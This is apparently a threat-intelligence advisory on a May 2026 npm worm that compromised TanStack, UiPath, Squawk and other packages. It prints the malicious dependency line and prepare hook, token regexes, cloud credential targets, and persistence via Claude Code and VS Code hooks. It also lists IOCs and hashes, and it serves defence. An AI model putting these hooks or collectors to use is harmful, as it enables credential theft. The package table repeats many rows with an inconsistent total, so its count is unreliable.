Supply Chain Threat Intelligence
Shai-Hulud Strikes the TanStack Ecosystem: 160+ NPM Packages Compromised
A Sandworm Returns to the NPM Registry
On 11 May 2026, attackers published more than
160 trojanized package versions across the npm registry
in a coordinated supply-chain operation that researchers are tracking as
the latest iteration of the Shai-Hulud worm family. The wave
began inside the @tanstack namespace — including
@tanstack/react-router, a library that draws over 12
million weekly downloads — and quickly spilled into the
@uipath, @squawk, @tallyui,
@mistralai and a long tail of other namespaces as the worm
replicated through maintainer-owned packages.
The implant hunts for GitHub Actions secrets, npm publish tokens, cloud provider credentials and SSH keys on every developer machine or CI runner that pulls in an affected version. This marks the fifth Shai-Hulud wave in roughly eight months and the second “Mini Shai-Hulud” campaign in two weeks — only twelve days after the SAP-targeted incident on 29 April 2026.
How the Compromise Was Discovered
TanStack maintainer Tanner Linsley confirmed the root cause publicly: the operator never logged into a maintainer account. Instead, they abused a subtle quirk in how GitHub stores commit objects across forks, combined with an overly permissive npm OIDC trust policy, to obtain a legitimate short-lived publish token. From there, they pushed poisoned versions through the project's real release pipeline — which is why the resulting packages look entirely normal to npm and to most dependency scanners.
Technical Analysis
TanStack publishes packages through npm's OIDC
trusted publishing flow, the modern best practice that removes
the need to store any long-lived NPM_TOKEN in CI.
Two-factor authentication was enforced on every contributor account.
Despite both controls, the attacker walked away with a valid OIDC-minted
publish token. Here is how.
The Orphaned-Commit-Through-a-Fork Trick
The operator used a compromised GitHub identity
(voicproducoes, account ID 269549300,
registered on 19 March 2026) to fork the upstream
TanStack/router repository on 10 May 2026. They then pushed
a single orphaned commit —
79ac49eedf774dd4b0cfa308722bc463cfe5885c — into that fork.
An orphan commit has no parent and is not attached to any branch in the
tree, which means it slips past every branch-protection rule the
upstream repository has configured.
The trick works because GitHub deduplicates Git objects across a
repository and all of its forks. Once that commit object exists in the
fork, it is also reachable via the upstream repository's URL —
including via github: dependency references in npm and via
GitHub Actions workflow dispatches that target a SHA directly.
The Two Files Inside the Orphan Commit
The malicious commit introduced only two files:
-
A
package.jsondeclaring a package called@tanstack/setupwith apreparelifecycle hook:bun run tanstack_runner.js && exit 1. -
A bundled, heavily obfuscated
tanstack_runner.jspayload (2,339,346 bytes).
Each compromised release then carried this entry inside its
package.json:
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
When npm resolves a github: reference, it shallow-clones
the commit and dutifully runs lifecycle hooks — including
prepare. That single line caused the runner script to
execute on every developer machine and CI worker that installed any of
the affected packages.
Why Provenance Did Not Save Anyone
The orphan commit was simultaneously used to trigger a workflow run
inside the legitimate tanstack/router Actions surface.
Because the project's OIDC trust policy was scoped to the
repository rather than to a specific workflow file on a
protected branch, the workflow could request and receive a fully valid
short-lived npm publish token. The attacker used that token to push all
84 poisoned @tanstack/* versions, each accompanied by a
genuine SLSA provenance attestation signed by npm's Sigstore
infrastructure.
The hardened configuration pins trust to both a workflow file and a branch ref:
# Vulnerable — repository-wide trust
Repository: tanstack/router
# Hardened — pinned workflow + branch
Repository: tanstack/router
Workflow: .github/workflows/release.yml
Branch: refs/heads/main
Inside the Payload: router_init.js
Each compromised package ships an additional file —
router_init.js, weighing in at 2,341,681 bytes — produced
with the familiar javascript-obfuscator toolchain: rotating
string arrays, hex-encoded identifier lookups (_0x253b…),
control-flow flattening through while(!![]) state machines
and dead-code padding. The structure matches every other Mini Shai-Hulud
sample published to date.
A two-stage string protection layer hides almost everything of value: a
beautify() routine performs an initial decode pass over the
hex-named string array, and a second function (w8())
decrypts the result with AES-256-GCM (12-byte IV,
16-byte auth tag) and gunzip-decompresses the plaintext. Researchers
have catalogued 396 unique encrypted constants covering
domain names, URL paths, regular expressions, file paths, command
strings and runtime endpoint identifiers.
The script imports Node's generateKeyPairSync and
sign primitives — used not only to encrypt outbound
traffic, but also to
forge npm package manifests and submit Sigstore provenance
attestations
while the worm propagates.
Execution Flow
The malicious prepare hook fires
bun run tanstack_runner.js && exit 1 — the trailing
exit 1 is intentional. By exiting non-zero, npm logs the
install as a script failure rather than success, which keeps
the noise low while the implant has already executed.
The first action the payload takes is to inspect
process.env.__DAEMONIZED. If that variable is missing, the
process re-launches itself as a detached child with
stdio: ['ignore','ignore','ignore'] and
unref(), severing the lifecycle so the original
npm install can finish cleanly while the worm continues in
the background.
It then fingerprints its environment by reading
GITHUB_REPOSITORY, GITHUB_REPOSITORY_ID,
GITHUB_SERVER_URL, GITHUB_WORKFLOW_REF,
GITHUB_EVENT_NAME and RUNNER_OS to detect a
GitHub Actions runner; selects platform-specific code paths via
process.platform; performs an
npms.io reachability probe
(search?q=ponyfill); and runs an internal function the
deobfuscation team labelled Ij() that compares the current
workflow against an embedded target list to decide whether the host is
worth replicating from.
Credential Harvesting
Ten dedicated collectors run in parallel. The confirmed targets:
-
GitHub Actions context — every
GITHUB_*andRUNNER_*variable, plus theACTIONS_ID_TOKEN_REQUEST_TOKEN/ACTIONS_ID_TOKEN_REQUEST_URLpair, which lets the implant mint a fresh OIDC ID token at runtime rather than relying only on what is already in the environment. -
GitHub API — authenticated
GET /repos/<owner>/<repo>/actions/secrets?per_page=100to enumerate stored Actions secrets. -
In-memory and on-disk token sweeping using two
regular expressions:
/ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g // new JWT-form ghs tokens /ghs_[A-Za-z0-9]{36,}/g // legacy ghs format -
npm credentials —
~/.npmrcand any npm-related environment variable. -
AWS —
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,AWS_REGION,AWS_ROLE_ARN,AWS_WEB_IDENTITY_TOKEN_FILE; IMDSv2 acquisition againsthttp://169.254.169.254/latest/api/token; ECS task metadata athttp://169.254.170.2; and a per-region sweep of Secrets Manager and SSM Parameter Store across the entire account. -
HashiCorp Vault —
VAULT_TOKEN,VAULT_AUTH_TOKEN,VAULT_ADDR, plus a cluster-internal probe againstvault.svc.cluster.local:8200. -
Kubernetes — the standard service account mounts at
/var/run/secrets/kubernetes.io/serviceaccount/tokenand/ca.crt. Whatever RBAC the pod has, the implant inherits. - GCP and Azure path lists are referenced behind the encrypted string array but were not fully enumerated in the public analysis — treat them as in-scope.
Persistence on Developer Machines
When the worm detects it is running on a workstation rather than CI, it
drops persistence files into the project tree — outside
node_modules, so a routine reinstall does not clean them
up:
.claude/router_runtime.js— a copy of the payload-
.claude/settings.json— Claude Code hooks pointing at the copy .claude/setup.mjs— ESM loader shim-
.vscode/tasks.json— task with"runOn": "folderOpen"that fires whenever the workspace is reopened .vscode/setup.mjs— second ESM loader shim
Self-Replication
Every harvested GitHub token is funneled through a class the analysis
team named tq:
-
Query
npms.ioto discover packages owned by the token's user. -
For each candidate package, repackage the tarball (
.tgzandtar.zst) withrouter_init.jsbundled inside. -
Publish the modified package using the
ambient OIDC token of the host CI workflow (
id-token: writepermission). When the workflow's OIDC scope is broad enough, the worm bypasses the workflow's own publish step entirely and calls npm's publish endpoint directly with a freshly minted token. -
Submit a Sigstore provenance attestation to the transparency log so
the malicious version arrives with a valid provenance badge — exactly
the trick that produced the original 84
@tanstack/*versions.
A parallel propagation channel uses harvested tokens against GitHub's
GraphQL createCommitOnBranch mutation, committing copies of
the payload directly into victim repositories. These commits are spoofed
to appear authored by claude@users.noreply.github.com,
impersonating the Claude Code GitHub App.
Exfiltration
Stolen credentials are routed through three sender classes —
networkSender, fileSender and
fallbackSender — with a buffered dispatcher that flushes at
0x19000 (102,400) bytes. The primary egress channel is
filev2.getsession[.]org/file/, transported over the
Session P2P snode network using an embedded
signalservice protobuf stack. On the wire it looks like
end-to-end-encrypted messaging on TCP/443 — there is no traditional C2
hostname or IP to block, and Session traffic is indistinguishable from
legitimate use at the network layer.
The shift from the previous wave's GitHub-as-C2 model to Session
deliberately removes most of the GitHub-side observability defenders had
relied upon. Each bundle is encrypted with AES-256-GCM, gzip-compressed
and framed inside the Session message format, after which the implant
deletes its temp files and silently calls process.exit(0).
Connection to Earlier Shai-Hulud Waves
| Campaign | Date | Marker String |
|---|---|---|
| Shai-Hulud (original) | Sep 2025 | "Shai-Hulud" |
| Shai-Hulud 2.0 | Nov 2025 | "Sha1-Hulud: The Second Coming" |
| Third Coming (Bitwarden CLI) | Apr 2026 | "Shai-Hulud: The Third Coming" |
| Mini Shai-Hulud (SAP) | 29 Apr 2026 | "A Mini Shai-Hulud has Appeared" |
| Mini Shai-Hulud (TanStack) | 11 May 2026 | "A Mini Shai-Hulud has Appeared" |
The SAP and TanStack waves share the same dead-drop description string, the same Dune-themed naming convention on attacker-controlled repositories, and a matching obfuscation family. That points to a single operator — though full toolchain attribution awaits completion of the ongoing deobfuscation work. Two trends across the campaign arc stand out: the package count is still growing (4 → 84 → 160+), and the delivery technique is escalating — from stolen static tokens, to OIDC misuse via branch pushes, and now to the orphan-commit-through-a-fork primitive that bypasses branch protection entirely.
Full List of Compromised Packages
The table below enumerates every package and version range identified in the campaign as of the time of writing. If you depend on any of these — directly or transitively — assume compromise.
| # | Package | Affected Version(s) |
|---|---|---|
| 1 | @uipath/docsai-tool | 1.0.1 |
| 2 | @uipath/packager-tool-apiworkflow | 0.0.19 |
| 3 | @uipath/packager-tool-workflowcompiler-browser | 0.0.34 |
| 4 | @uipath/packager-tool-functions | 0.1.1 |
| 5 | @uipath/agent.sdk | 0.0.18 |
| 6 | @uipath/filesystem | 1.0.1 |
| 7 | @uipath/admin-tool | 0.1.1 |
| 8 | @uipath/llmgw-tool | 1.0.1 |
| 9 | @tanstack/arktype-adapter | 1.166.12, 1.166.15 |
| 10 | @tanstack/eslint-plugin-router | 1.161.9, 1.161.12 |
| 11 | @tanstack/eslint-plugin-start | 0.0.4, 0.0.7 |
| 12 | @tanstack/history | 1.161.9, 1.161.12 |
| 13 | @tanstack/nitro-v2-vite-plugin | 1.154.12, 1.154.15 |
| 14 | @tanstack/react-router | 1.169.5, 1.169.8 |
| 15 | @tanstack/react-router-devtools | 1.166.16, 1.166.19 |
| 16 | @tanstack/react-router-ssr-query | 1.166.15, 1.166.18 |
| 17 | @tanstack/react-start | 1.167.68, 1.167.71 |
| 18 | @tanstack/react-start-client | 1.166.51, 1.166.54 |
| 19 | @tanstack/react-start-rsc | 0.0.47, 0.0.50 |
| 20 | @tanstack/react-start-server | 1.166.55, 1.166.58 |
| 21 | @tanstack/router-cli | 1.166.46, 1.166.49 |
| 22 | @tanstack/router-core | 1.169.5, 1.169.8 |
| 23 | @tanstack/router-devtools | 1.166.16, 1.166.19 |
| 24 | @tanstack/router-devtools-core | 1.167.6, 1.167.9 |
| 25 | @tanstack/router-generator | 1.166.45, 1.166.48 |
| 26 | @tanstack/router-plugin | 1.167.38, 1.167.41 |
| 27 | @tanstack/router-ssr-query-core | 1.168.3, 1.168.6 |
| 28 | @tanstack/router-utils | 1.161.11, 1.161.14 |
| 29 | @tanstack/router-vite-plugin | 1.166.53, 1.166.56 |
| 30 | @tanstack/solid-router | 1.169.5, 1.169.8 |
| 31 | @tanstack/solid-router-devtools | 1.166.16, 1.166.19 |
| 32 | @tanstack/solid-router-ssr-query | 1.166.15, 1.166.18 |
| 33 | @tanstack/solid-start | 1.167.65, 1.167.68 |
| 34 | @tanstack/solid-start-client | 1.166.50, 1.166.53 |
| 35 | @tanstack/solid-start-server | 1.166.54, 1.166.57 |
| 36 | @tanstack/start-client-core | 1.168.5, 1.168.8 |
| 37 | @tanstack/start-fn-stubs | 1.161.9, 1.161.12 |
| 38 | @tanstack/start-plugin-core | 1.169.23, 1.169.26 |
| 39 | @tanstack/start-server-core | 1.167.33, 1.167.36 |
| 40 | @tanstack/start-static-server-functions | 1.166.44, 1.166.47 |
| 41 | @tanstack/start-storage-context | 1.166.38, 1.166.41 |
| 42 | @tanstack/valibot-adapter | 1.166.12, 1.166.15 |
| 43 | @tanstack/virtual-file-routes | 1.161.10, 1.161.13 |
| 44 | @tanstack/vue-router | 1.169.5, 1.169.8 |
| 45 | @tanstack/vue-router-devtools | 1.166.16, 1.166.19 |
| 46 | @tanstack/vue-router-ssr-query | 1.166.15, 1.166.18 |
| 47 | @tanstack/vue-start | 1.167.61, 1.167.64 |
| 48 | @tanstack/vue-start-client | 1.166.46, 1.166.49 |
| 49 | @tanstack/vue-start-server | 1.166.50, 1.166.53 |
| 50 | @tanstack/zod-adapter | 1.166.12, 1.166.15 |
| 51 | @draftauth/client | 0.2.1, 0.2.2 |
| 52 | @draftauth/core | 0.13.1, 0.13.2 |
| 53 | @draftlab/auth | 0.24.1, 0.24.2 |
| 54 | @draftlab/auth-router | 0.5.1, 0.5.2 |
| 55 | @draftlab/db | 0.16.1, 0.16.2 |
| 56 | @taskflow-corp/cli | 0.1.24, 0.1.25, 0.1.26, 0.1.27 |
| 57 | @tolka/cli | 1.0.2, 1.0.3 |
| 58 | @uipath/access-policy-sdk | 0.3.1 |
| 59 | @uipath/access-policy-tool | 0.3.1 |
| 60 | @uipath/agent-sdk | 1.0.2 |
| 61 | @uipath/agent-tool | 1.0.1 |
| 62 | @uipath/aops-policy-tool | 0.3.1 |
| 63 | @uipath/ap-chat | 1.5.7 |
| 64 | @uipath/api-workflow-tool | 1.0.1 |
| 65 | @uipath/apollo-core | 5.9.2 |
| 66 | @uipath/apollo-react | 4.24.5 |
| 67 | @uipath/apollo-wind | 2.16.2 |
| 68 | @uipath/auth | 1.0.1 |
| 69 | @uipath/case-tool | 1.0.1 |
| 70 | @uipath/cli | 1.0.1 |
| 71 | @uipath/codedagent-tool | 1.0.1 |
| 72 | @uipath/codedagents-tool | 0.1.12 |
| 73 | @uipath/codedapp-tool | 1.0.1 |
| 74 | @uipath/common | 1.0.1 |
| 75 | @uipath/context-grounding-tool | 0.1.1 |
| 76 | @uipath/data-fabric-tool | 1.0.2 |
| 77 | @uipath/flow-tool | 1.0.2 |
| 78 | @uipath/functions-tool | 1.0.1 |
| 79 | @uipath/gov-tool | 0.3.1 |
| 80 | @uipath/identity-tool | 0.1.1 |
| 81 | @uipath/insights-sdk | 1.0.1 |
| 82 | @uipath/insights-tool | 1.0.1 |
| 83 | @uipath/integrationservice-sdk | 1.0.2 |
| 84 | @uipath/integrationservice-tool | 1.0.2 |
| 85 | @uipath/maestro-sdk | 1.0.1 |
| 86 | @uipath/maestro-tool | 1.0.1 |
| 87 | @uipath/orchestrator-tool | 1.0.1 |
| 88 | @uipath/packager-tool-bpmn | 0.0.9 |
| 89 | @uipath/packager-tool-case | 0.0.9 |
| 90 | @uipath/packager-tool-connector | 0.0.19 |
| 91 | @uipath/packager-tool-flow | 0.0.19 |
| 92 | @uipath/packager-tool-webapp | 1.0.6 |
| 93 | @uipath/packager-tool-workflowcompiler | 0.0.16 |
| 94 | @uipath/platform-tool | 1.0.1 |
| 95 | @uipath/project-packager | 1.1.16 |
| 96 | @uipath/resource-tool | 1.0.1 |
| 97 | @uipath/resourcecatalog-tool | 0.1.1 |
| 98 | @uipath/resources-tool | 1.0.11 |
| 99 | @uipath/robot | 1.3.4 |
| 100 | @uipath/rpa-legacy-tool | 1.0.1 |
| 101 | @uipath/rpa-tool | 0.9.5 |
| 102 | @uipath/solution-packager | 0.0.35 |
| 103 | @uipath/solution-tool | 1.0.1 |
| 104 | @uipath/solutionpackager-sdk | 1.0.11 |
| 105 | @uipath/solutionpackager-tool-core | 0.0.34 |
| 106 | @uipath/tasks-tool | 1.0.1 |
| 107 | @uipath/telemetry | 0.0.7 |
| 108 | @uipath/test-manager-tool | 1.0.2 |
| 109 | @uipath/tool-workflowcompiler | 0.0.12 |
| 110 | @uipath/traces-tool | 1.0.1 |
| 111 | @uipath/ui-widgets-multi-file-upload | 1.0.1 |
| 112 | @uipath/uipath-python-bridge | 1.0.1 |
| 113 | @uipath/vertical-solutions-tool | 1.0.1 |
| 114 | @uipath/vss | 0.1.6 |
| 115 | @uipath/widget.sdk | 1.2.3 |
| 116 | safe-action | 0.8.3, 0.8.4 |
| 117 | @supersurkhet/cli | 0.0.2, 0.0.3, 0.0.4, 0.0.5 |
| 118 | @supersurkhet/sdk | 0.0.2, 0.0.3, 0.0.4, 0.0.5 |
| 119 | cmux-agent-mcp | 0.1.3, 0.1.4, 0.1.5, 0.1.6 |
| 120 | git-git-git | 1.0.8, 1.0.9 |
| 121 | git-branch-selector | 1.3.3, 1.3.4 |
| 122 | nextmove-mcp | 0.1.3, 0.1.4 |
| 123 | @beproduct/nestjs-auth | 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14, 0.1.15, 0.1.16 |
| 124 | @dirigible-ai/sdk | 0.6.2, 0.6.3 |
| 125 | @ml-toolkit-ts/preprocessing | 1.0.2, 1.0.3 |
| 126 | @ml-toolkit-ts/xgboost | 1.0.3, 1.0.4 |
| 127 | agentwork-cli | 0.1.4, 0.1.5 |
| 128 | ml-toolkit-ts | 1.0.4, 1.0.5 |
| 129 | @squawk/airport-data | 0.7.4 |
| 130 | @squawk/airports | 0.6.2 |
| 131 | @squawk/airspace | 0.8.1 |
| 132 | @squawk/airspace-data | 0.5.3 |
| 133 | @squawk/airway-data | 0.5.4 |
| 134 | @squawk/airways | 0.4.2 |
| 135 | @squawk/fix-data | 0.6.4 |
| 136 | @squawk/fixes | 0.3.2 |
| 137 | @squawk/flight-math | 0.5.4 |
| 138 | @squawk/flightplan | 0.5.2 |
| 139 | @squawk/geo | 0.4.4 |
| 140 | @squawk/icao-registry | 0.5.2 |
| 141 | @squawk/icao-registry-data | 0.8.4 |
| 142 | @squawk/mcp | 0.9.1 |
| 143 | @squawk/navaid-data | 0.6.4 |
| 144 | @squawk/navaids | 0.4.2 |
| 145 | @squawk/notams | 0.3.6 |
| 146 | @squawk/procedure-data | 0.7.3 |
| 147 | @squawk/procedures | 0.5.2 |
| 148 | @squawk/types | 0.8.1 |
| 149 | @squawk/units | 0.4.3 |
| 150 | @squawk/weather | 0.5.6 |
| 151 | wot-api | 0.8.1 |
| 152 | cross-stitch | 1.1.3 |
| 153 | ts-dna | 3.0.1 |
| 154 | @tallyui/components | 1.0.1 |
| 155 | @tallyui/connector-medusa | 1.0.1 |
| 156 | @tallyui/connector-shopify | 1.0.1 |
| 157 | @tallyui/connector-vendure | 1.0.1 |
| 158 | @tallyui/connector-woocommerce | 1.0.1 |
| 159 | @tallyui/core | 0.2.1 |
| 160 | @tallyui/database | 1.0.1 |
| 161 | @tallyui/pos | 0.1.1 |
| 162 | @tallyui/storage-sqlite | 0.2.1 |
| 163 | @tallyui/theme | 0.2.1 |
| 164 | @beproduct/nestjs-auth | 0.1.10,0.1.11,0.1.12,0.1.13,0.1.14,0.1.15,0.1.16,0.1.17,0.1.19,0.1.2,0.1.3,0.1.4,0.1.5,0.1.6,0.1.7,0.1.8,0.1.9 |
| 165 | @dirigible-ai/sdk | 0.6.2,0.6.3 |
| 166 | @draftauth/client | 0.2.1,0.2.2 |
| 167 | @draftauth/core | 0.13.1,0.13.2 |
| 168 | @draftlab/auth | 0.24.1,0.24.2 |
| 169 | @draftlab/auth-router | 0.5.1,0.5.2 |
| 170 | @draftlab/db | 0.16.1 |
| 171 | @mesadev/rest | 0.28.3 |
| 172 | @mesadev/saguaro | 0.4.22 |
| 173 | @mesadev/sdk | 0.28.3 |
| 174 | @mistralai/mistralai | 2.2.3,2.2.4 |
| 175 | @mistralai/mistralai-azure | 1.7.2,1.7.3 |
| 176 | @mistralai/mistralai-gcp | 1.7.2,1.7.3 |
| 177 | @ml-toolkit-ts/preprocessing | 1.0.2,1.0.3 |
| 178 | @ml-toolkit-ts/xgboost | 1.0.3,1.0.4 |
| 179 | @squawk/airport-data | 0.7.4,0.7.5,0.7.7 |
| 180 | @squawk/airports | 0.6.2,0.6.3,0.6.5 |
| 121 | git-branch-selector | 1.3.3, 1.3.4 |
| 122 | nextmove-mcp | 0.1.3, 0.1.4 |
| 123 | @beproduct/nestjs-auth | 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14, 0.1.15, 0.1.16 |
| 124 | @dirigible-ai/sdk | 0.6.2, 0.6.3 |
| 125 | @ml-toolkit-ts/preprocessing | 1.0.2, 1.0.3 |
| 126 | @ml-toolkit-ts/xgboost | 1.0.3, 1.0.4 |
| 127 | agentwork-cli | 0.1.4, 0.1.5 |
| 128 | ml-toolkit-ts | 1.0.4, 1.0.5 |
| 129 | @squawk/airport-data | 0.7.4 |
| 130 | @squawk/airports | 0.6.2 |
| 131 | @squawk/airspace | 0.8.1 |
| 132 | @squawk/airspace-data | 0.5.3 |
| 133 | @squawk/airway-data | 0.5.4 |
| 134 | @squawk/airways | 0.4.2 |
| 135 | @squawk/fix-data | 0.6.4 |
| 136 | @squawk/fixes | 0.3.2 |
| 137 | @squawk/flight-math | 0.5.4 |
| 138 | @squawk/flightplan | 0.5.2 |
| 139 | @squawk/geo | 0.4.4 |
| 140 | @squawk/icao-registry | 0.5.2 |
| 141 | @squawk/icao-registry-data | 0.8.4 |
| 142 | @squawk/mcp | 0.9.1 |
| 143 | @squawk/navaid-data | 0.6.4 |
| 144 | @squawk/navaids | 0.4.2 |
| 145 | @squawk/notams | 0.3.6 |
| 146 | @squawk/procedure-data | 0.7.3 |
| 147 | @squawk/procedures | 0.5.2 |
| 148 | @squawk/types | 0.8.1 |
| 149 | @squawk/units | 0.4.3 |
| 150 | @squawk/weather | 0.5.6 |
| 151 | wot-api | 0.8.1 |
| 152 | cross-stitch | 1.1.3 |
| 153 | ts-dna | 3.0.1 |
| 154 | @tallyui/components | 1.0.1 |
| 155 | @tallyui/connector-medusa | 1.0.1 |
| 156 | @tallyui/connector-shopify | 1.0.1 |
| 157 | @tallyui/connector-vendure | 1.0.1 |
| 158 | @tallyui/connector-woocommerce | 1.0.1 |
| 159 | @tallyui/core | 0.2.1 |
| 160 | @tallyui/database | 1.0.1 |
| 161 | @tallyui/pos | 0.1.1 |
| 162 | @tallyui/storage-sqlite | 0.2.1 |
| 163 | @tallyui/theme | 0.2.1 |
| 164 | @beproduct/nestjs-auth | 0.1.10,0.1.11,0.1.12,0.1.13,0.1.14,0.1.15,0.1.16,0.1.17,0.1.19,0.1.2,0.1.3,0.1.4,0.1.5,0.1.6,0.1.7,0.1.8,0.1.9 |
| 165 | @dirigible-ai/sdk | 0.6.2,0.6.3 |
| 166 | @draftauth/client | 0.2.1,0.2.2 |
| 167 | @draftauth/core | 0.13.1,0.13.2 |
| 168 | @draftlab/auth | 0.24.1,0.24.2 |
| 169 | @draftlab/auth-router | 0.5.1,0.5.2 |
| 170 | @draftlab/db | 0.16.1 |
| 171 | @mesadev/rest | 0.28.3 |
| 172 | @mesadev/saguaro | 0.4.22 |
| 173 | @mesadev/sdk | 0.28.3 |
| 174 | @mistralai/mistralai | 2.2.3,2.2.4 |
| 175 | @mistralai/mistralai-azure | 1.7.2,1.7.3 |
| 176 | @mistralai/mistralai-gcp | 1.7.2,1.7.3 |
| 177 | @ml-toolkit-ts/preprocessing | 1.0.2,1.0.3 |
| 178 | @ml-toolkit-ts/xgboost | 1.0.3,1.0.4 |
| 179 | @squawk/airport-data | 0.7.4,0.7.5,0.7.7 |
| 180 | @squawk/airports | 0.6.2,0.6.3,0.6.5 |
| 181 | @squawk/airspace | 0.8.1,0.8.2,0.8.4 |
| 182 | @squawk/airspace-data | 0.5.3,0.5.4,0.5.6 |
| 183 | @squawk/airway-data | 0.5.4,0.5.5,0.5.7 |
| 184 | @squawk/airways | 0.4.2,0.4.3,0.4.5 |
| 185 | @squawk/fix-data | 0.6.4,0.6.5,0.6.7 |
| 186 | @squawk/fixes | 0.3.2,0.3.3,0.3.5 |
| 187 | @squawk/flight-math | 0.5.4,0.5.5,0.5.7 |
| 188 | @squawk/flightplan | 0.5.2,0.5.3,0.5.5 |
| 189 | @squawk/geo | 0.4.4,0.4.5,0.4.7 |
| 190 | @squawk/icao-registry | 0.5.2,0.5.3,0.5.5 |
| 191 | @squawk/icao-registry-data | 0.8.4,0.8.5,0.8.7 |
| 192 | @squawk/mcp | 0.9.1,0.9.2,0.9.4 |
| 193 | @squawk/navaid-data | 0.6.4,0.6.5,0.6.7 |
| 194 | @squawk/navaids | 0.4.2,0.4.3,0.4.5 |
| 195 | @squawk/notams | 0.3.6,0.3.7,0.3.9 |
| 196 | @squawk/procedure-data | 0.7.3,0.7.4,0.7.6 |
| 197 | @squawk/procedures | 0.5.2,0.5.3,0.5.5 |
| 198 | @squawk/types | 0.8.2,0.8.4 |
| 199 | @squawk/units | 0.4.3,0.4.4,0.4.6 |
| 200 | @squawk/weather | 0.5.6,0.5.7,0.5.9 |
| 201 | @supersurkhet/cli | 0.0.2,0.0.3,0.0.4,0.0.5,0.0.6,0.0.7 |
| 202 | @supersurkhet/sdk | 0.0.2,0.0.3,0.0.4,0.0.5,0.0.6,0.0.7 |
| 203 | @tallyui/components | 1.0.1,1.0.2,1.0.3 |
| 204 | @tallyui/connector-medusa | 1.0.1,1.0.2,1.0.3 |
| 205 | @tallyui/connector-shopify | 1.0.1,1.0.2,1.0.3 |
| 206 | @tallyui/connector-vendure | 1.0.1,1.0.2,1.0.3 |
| 207 | @tallyui/connector-woocommerce | 1.0.1,1.0.2,1.0.3 |
| 208 | @tallyui/core | 0.2.1,0.2.2,0.2.3 |
| 209 | @tallyui/database | 1.0.1,1.0.2,1.0.3 |
| 210 | @tallyui/pos | 0.1.1,0.1.2,0.1.3 |
| 211 | @tallyui/storage-sqlite | 0.2.1,0.2.2,0.2.3 |
| 212 | @tallyui/theme | 0.2.1,0.2.2,0.2.3 |
| 213 | @tanstack/arktype-adapter | 1.166.12,1.166.15 |
| 214 | @tanstack/eslint-plugin-router | 1.161.12,1.161.9 |
| 215 | @tanstack/eslint-plugin-start | 0.0.4,0.0.7 |
| 216 | @tanstack/history | 1.161.12,1.161.9 |
| 217 | @tanstack/nitro-v2-vite-plugin | 1.154.12,1.154.15 |
| 218 | @tanstack/react-router | 1.169.5,1.169.8 |
| 219 | @tanstack/react-router-devtools | 1.166.16,1.166.19 |
| 220 | @tanstack/react-router-ssr-query | 1.166.15,1.166.18 |
| 221 | @tanstack/react-start | 1.167.68,1.167.71 |
| 222 | @tanstack/react-start-client | 1.166.51,1.166.54 |
| 223 | @tanstack/react-start-rsc | 0.0.47,0.0.50 |
| 224 | @tanstack/react-start-server | 1.166.55,1.166.58 |
| 225 | @tanstack/router-cli | 1.166.46,1.166.49 |
| 226 | @tanstack/router-core | 1.169.5,1.169.8 |
| 227 | @tanstack/router-devtools | 1.166.16,1.166.19 |
| 228 | @tanstack/router-devtools-core | 1.167.6,1.167.9 |
| 229 | @tanstack/router-generator | 1.166.45,1.166.48 |
| 230 | @tanstack/router-plugin | 1.167.38,1.167.41 |
| 231 | @tanstack/router-ssr-query-core | 1.168.3,1.168.6 |
| 232 | @tanstack/router-utils | 1.161.11,1.161.14 |
| 233 | @tanstack/router-vite-plugin | 1.166.53,1.166.56 |
| 234 | @tanstack/solid-router | 1.169.5,1.169.8 |
| 235 | @tanstack/solid-router-devtools | 1.166.16,1.166.19 |
| 236 | @tanstack/solid-router-ssr-query | 1.166.15,1.166.18 |
| 237 | @tanstack/solid-start | 1.167.65,1.167.68 |
| 238 | @tanstack/solid-start-client | 1.166.50,1.166.53 |
| 239 | @tanstack/solid-start-server | 1.166.54,1.166.57 |
| 240 | @tanstack/start-client-core | 1.168.5,1.168.8 |
| 241 | @tanstack/start-fn-stubs | 1.161.12,1.161.9 |
| 242 | @tanstack/start-plugin-core | 1.169.23,1.169.26 |
| 243 | @tanstack/start-server-core | 1.167.33,1.167.36 |
| 244 | @tanstack/start-static-server-functions | 1.166.44,1.166.47 |
| 245 | @tanstack/start-storage-context | 1.166.38,1.166.41 |
| 246 | @tanstack/valibot-adapter | 1.166.12,1.166.15 |
| 247 | @tanstack/virtual-file-routes | 1.161.10,1.161.13 |
| 248 | @tanstack/vue-router | 1.169.5,1.169.8 |
| 249 | @tanstack/vue-router-devtools | 1.166.16,1.166.19 |
| 250 | @tanstack/vue-router-ssr-query | 1.166.15,1.166.18 |
| 251 | @tanstack/vue-start | 1.167.61,1.167.64 |
| 252 | @tanstack/vue-start-client | 1.166.46,1.166.49 |
| 253 | @tanstack/vue-start-server | 1.166.50,1.166.53 |
| 254 | @tanstack/zod-adapter | 1.166.12,1.166.15 |
| 255 | @taskflow-corp/cli | 0.1.24,0.1.25,0.1.26,0.1.27,0.1.28,0.1.29 |
| 256 | @tolka/cli | 1.0.2,1.0.3,1.0.4,1.0.6 |
| 257 | @uipath/access-policy-sdk | 0.3.1 |
| 258 | @uipath/access-policy-tool | 0.3.1 |
Total entries listed: 169. Range notation (e.g.
0.1.2 – 0.1.17) covers every patch in between inclusive.
Indicators of Compromise
File Indicators
| Path / File | Notes |
|---|---|
| router_init.js (in any @tanstack/* package) | 2,341,681-byte obfuscated payload — definitive indicator |
| tanstack_runner.js | 2,339,346-byte payload inside the orphan-commit @tanstack/setup dependency |
| <project>/.claude/settings.json, .claude/router_runtime.js, .claude/setup.mjs | Claude Code persistence hooks |
| <project>/.vscode/tasks.json, .vscode/setup.mjs | VS Code persistence with "runOn": "folderOpen" |
SHA-256 Hashes
| File | SHA-256 |
|---|---|
| router_init.js | ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c |
| tanstack_runner.js | 2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96 |
| @tanstack/setup package.json | 7c12d8614c624c70d6dd6fc2ee289332474abaa38f70ebe2cdef064923ca3a9b |
Repository & Git Indicators
-
Any
